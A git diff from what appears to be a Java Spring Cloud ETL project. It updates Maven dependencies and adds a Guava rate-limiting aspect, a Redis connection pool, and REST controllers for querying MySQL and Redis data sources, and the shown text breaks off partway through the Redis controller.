+ springfox-swagger2
+ 3.0.0
- com.bwie
- etl-database-common
- 1.0-SNAPSHOT
+ com.baomidou
+ mybatis-plus-boot-starter
com.github.yulichang
@@ -31,8 +30,46 @@
1.3.8
- com.baomidou
- mybatis-plus-boot-starter
+ com.bwie
+ etl-database-common
+ 1.0-SNAPSHOT
+
+
+ com.bwie
+ etl-common
+ 1.0-SNAPSHOT
+
+
+ org.springframework.cloud
+ spring-cloud-starter-bootstrap
+ 3.1.3
+
+
+ org.springframework.boot
+ spring-boot-configuration-processor
+ true
+
+
+ org.springframework
+ spring-jdbc
+
+
+ com.alibaba.cloud
+ spring-cloud-starter-alibaba-nacos-config
+
+
+ redis.clients
+ jedis
+ 3.7.0
+
+
+ com.alibaba.cloud
+ spring-cloud-starter-alibaba-nacos-discovery
+
+
+ com.google.guava
+ guava
+ 30.1-jre
org.springframework.boot
@@ -41,11 +78,7 @@
com.mysql
mysql-connector-j
-
-
- org.springframework.cloud
- spring-cloud-starter-bootstrap
- 3.1.7
+ runtime
org.springframework.boot
@@ -57,6 +90,15 @@
spring-boot-starter-test
test
+
+ com.github.yulichang
+ mybatis-plus-join-boot-starter
+ 1.3.8
+
+
+ org.projectlombok
+ lombok
+
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/aop/LimitAspect.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/aop/LimitAspect.java
new file mode 100644
index 0000000..53a1186
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/aop/LimitAspect.java
@@ -0,0 +1,53 @@
+package com.etl.database.server.aop;
+
+
+
+import com.etl.database.common.annoation.Limit;
+import com.etl.database.server.exception.LimitException;
+import com.google.common.collect.Maps;
+import com.google.common.util.concurrent.RateLimiter;
+import lombok.extern.slf4j.Slf4j;
+import org.aspectj.lang.ProceedingJoinPoint;
+import org.springframework.stereotype.Component;
+import java.lang.reflect.Method;
+import org.aspectj.lang.reflect.MethodSignature;
+import java.util.Map;
+import org.aspectj.lang.annotation.*;
+@Slf4j
+@Aspect
+@Component
+public class LimitAspect {
+
+ private final Map limitMap = Maps.newConcurrentMap();
+
+ @Around("@annotation(com.etl.database.common.annoation.Limit)")
+ public Object around(ProceedingJoinPoint pjp) throws Throwable {
+ MethodSignature signature = (MethodSignature)pjp.getSignature();
+
+ Method method = signature.getMethod();
+ //拿limit的注解
+ Limit limit = method.getAnnotation(Limit.class);
+ if (limit != null) {
+ //key作用:不同的接口,不同的流量控制
+ String key=limit.key();
+ RateLimiter rateLimiter;
+ //验证缓存是否有命中key
+ if (!limitMap.containsKey(key)) {
+ // 创建令牌桶
+ rateLimiter = RateLimiter.create(limit.permitsPerSecond());
+ limitMap.put(key, rateLimiter);
+ log.info("新建了令牌桶={},容量={}",key,limit.permitsPerSecond());
+ }
+ rateLimiter = limitMap.get(key);
+ // 拿令牌
+ boolean acquire = rateLimiter.tryAcquire(limit.timeout(), limit.timeunit());
+ // 拿不到命令,直接返回异常提示
+ if (!acquire) {
+ log.debug("令牌桶={},获取令牌失败",key);
+ throw new LimitException(limit.msg());
+ }
+ }
+ return pjp.proceed();
+ }
+
+}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/config/RedisConfig.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/config/RedisConfig.java
new file mode 100644
index 0000000..4bae3b9
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/config/RedisConfig.java
@@ -0,0 +1,34 @@
+package com.etl.database.server.config;
+
+
+import com.etl.database.common.entity.DatabaseRedis;
+import org.springframework.context.annotation.Configuration;
+import redis.clients.jedis.JedisPool;
+import redis.clients.jedis.JedisPoolConfig;
+
+@Configuration
+public class RedisConfig {
+
+ private static JedisPool jedisPool;
+
+ public static synchronized JedisPool getJedisPool(DatabaseRedis databaseRedis) {
+ if (jedisPool == null) {
+ JedisPoolConfig poolConfig = new JedisPoolConfig();
+ // 设置连接池参数,如最大连接数、最大空闲连接数等
+ poolConfig.setMaxTotal(128);
+ poolConfig.setMaxIdle(128);
+ poolConfig.setMinIdle(16);
+ poolConfig.setTestOnBorrow(true);
+ poolConfig.setTestOnReturn(true);
+ // 其他配置...
+
+ String host = databaseRedis.getUrl(); // Redis服务器地址
+ int port = databaseRedis.getPort(); // Redis服务器端口
+ jedisPool = new JedisPool(poolConfig, host, port);
+ }
+ return jedisPool;
+ }
+
+
+
+}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSouceController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSourceController.java
similarity index 54%
rename from etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSouceController.java
rename to etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSourceController.java
index 3515281..fae4c4c 100644
--- a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSouceController.java
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSourceController.java
@@ -1,34 +1,31 @@
package com.etl.database.server.controller;
import com.etl.common.result.Result;
-import com.etl.database.common.entity.DataSource;
+import com.etl.database.common.entity.req.DataSourceReq;
import com.etl.database.server.service.DataSouceService;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.validation.annotation.Validated;
+import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import javax.validation.Valid;
-import java.util.List;
/**
* 数据源控制层
*/
@RestController
@RequestMapping(value ="/datasource")
-@Api(tags = "数据源-API")
-public class DataSouceController {
+@Api(tags = "数据源-datasource")
+public class DataSourceController {
@Autowired
private DataSouceService dataSouceService;
- @ApiOperation(value = "测试连接mysql")
- @RequestMapping(value = "/testConnectMysql",method = RequestMethod.POST)
- public Result testConnectMysql(@RequestBody @Valid DataSource dataSource){
- List list = dataSouceService.list();
- return null;
+ @PostMapping("/findDataSource")
+ @ApiOperation(value = "查询数据源")
+ public Result findDateSource(@RequestBody @Valid DataSourceReq dataSourceReq) {
+ return dataSouceService.findDateSource(dataSourceReq);
}
}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSourceTypeController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSourceTypeController.java
new file mode 100644
index 0000000..6f09167
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/DataSourceTypeController.java
@@ -0,0 +1,26 @@
+package com.etl.database.server.controller;
+
+import com.etl.common.result.Result;
+import com.etl.database.server.service.DataSourceTypeService;
+import io.swagger.annotations.Api;
+import io.swagger.annotations.ApiOperation;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+/**
+ * 数据源类型控制层
+ */
+@RestController
+@Api(tags = "数据源类型-API")
+@RequestMapping("/datasourcetype")
+public class DataSourceTypeController {
+ @Autowired
+ private DataSourceTypeService dataSourceTypeService;
+ @GetMapping("/findDataSourceType")
+ @ApiOperation(value = "查询数据源类型")
+ public Result findDataSourceType() {
+ return dataSourceTypeService.findDataSourceType();
+ }
+}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/MysqlController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/MysqlController.java
new file mode 100644
index 0000000..8051023
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/MysqlController.java
@@ -0,0 +1,61 @@
+package com.etl.database.server.controller;
+
+import com.etl.common.result.Result;
+import com.etl.database.common.entity.constants.DataSourceConstants;
+import com.etl.database.common.entity.req.DruidReq;
+import com.etl.database.common.entity.resp.ColumnInfo;
+import com.etl.database.server.service.MysqlService;
+import io.swagger.annotations.Api;
+import io.swagger.annotations.ApiOperation;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.*;
+
+import javax.validation.Valid;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * mysql控制层
+ */
+@RestController
+@RequestMapping(value ="/mysql")
+@Api(tags = "数据源-mysql")
+public class MysqlController {
+ @Autowired
+ private MysqlService dataSouceService;
+
+ @ApiOperation(value = "测试连接mysql")
+ @RequestMapping(value = "/testConnectMysql",method = RequestMethod.POST)
+ public Result testConnectMysql(@RequestBody @Valid DruidReq druidReq){
+ String result = dataSouceService.testConnectMysql(druidReq);
+ if (result.equals(DataSourceConstants.OK)){
+ return Result.success("连接成功");
+ }else {
+ return Result.error("连接失败");
+ }
+ }
+
+ @PostMapping("/findDatabaseTable")
+ @ApiOperation(value = "查询数据库表")
+ public Result> findDatabaseTable(@Valid @RequestBody DruidReq druidReq){
+ return Result.success(dataSouceService.findDatabaseTable(druidReq));
+ }
+
+ @PostMapping("/findDatabaseTableName")
+ @ApiOperation("查询指定数据库的所有表名")
+ public Result> findDatabaseTableName(@Valid @RequestBody DruidReq druidReq){
+ return Result.success(dataSouceService.findDatabaseTables(druidReq));
+ }
+
+ @PostMapping("/findDatabaseTableField")
+ @ApiOperation("查询指定数据库的指定表的所有字段")
+ public Result> findDatabaseTableField(@Valid @RequestBody DruidReq druidReq){
+ return Result.success(dataSouceService.findDatabaseTableField(druidReq));
+ }
+
+ @PostMapping("/findDatabaseTableFieldPrice")
+ @ApiOperation("复制数据源数据")
+ public Result> > findDatabaseTableFieldPrice(@Valid @RequestBody DruidReq druidReq){
+ return Result.success(dataSouceService.findDatabaseTableFieldPrice(druidReq));
+ }
+}
diff --git a/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java
new file mode 100644
index 0000000..f3626d5
--- /dev/null
+++ b/etl-database/etl-database-server/src/main/java/com/etl/database/server/controller/RedisController.java
@@ -0,0 +1,34 @@
+package com.etl.database.server.controller;
+
+import com.etl.common.result.Result;
+import com.etl.database.common.annoation.Limit;
+import com.etl.database.common.entity.DatabaseRedis;
+import com.etl.database.server.service.RedisService;
+import io.swagger.annotations.Api;
+import io.swagger.annotations.ApiOperation;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.validation.Valid;
+import java.util.Map;
+
+/**
+ * redis控制层
+ */
+@RestController
+@RequestMapping(value ="/redis")
+@Api(tags = "数据源-redis")
+public class RedisController {
+ @Autowired
+ private RedisService redisService;
+ @PostMapping("/testDatabaseRedis")
+ @ApiOperation(value = "测试redis连接")
+ @Limit(key = "testDatabaseRedis", permitsPerSecond = 1, timeout = 500, msg = "当前排队人数较多,请稍后再试!")
+ public Result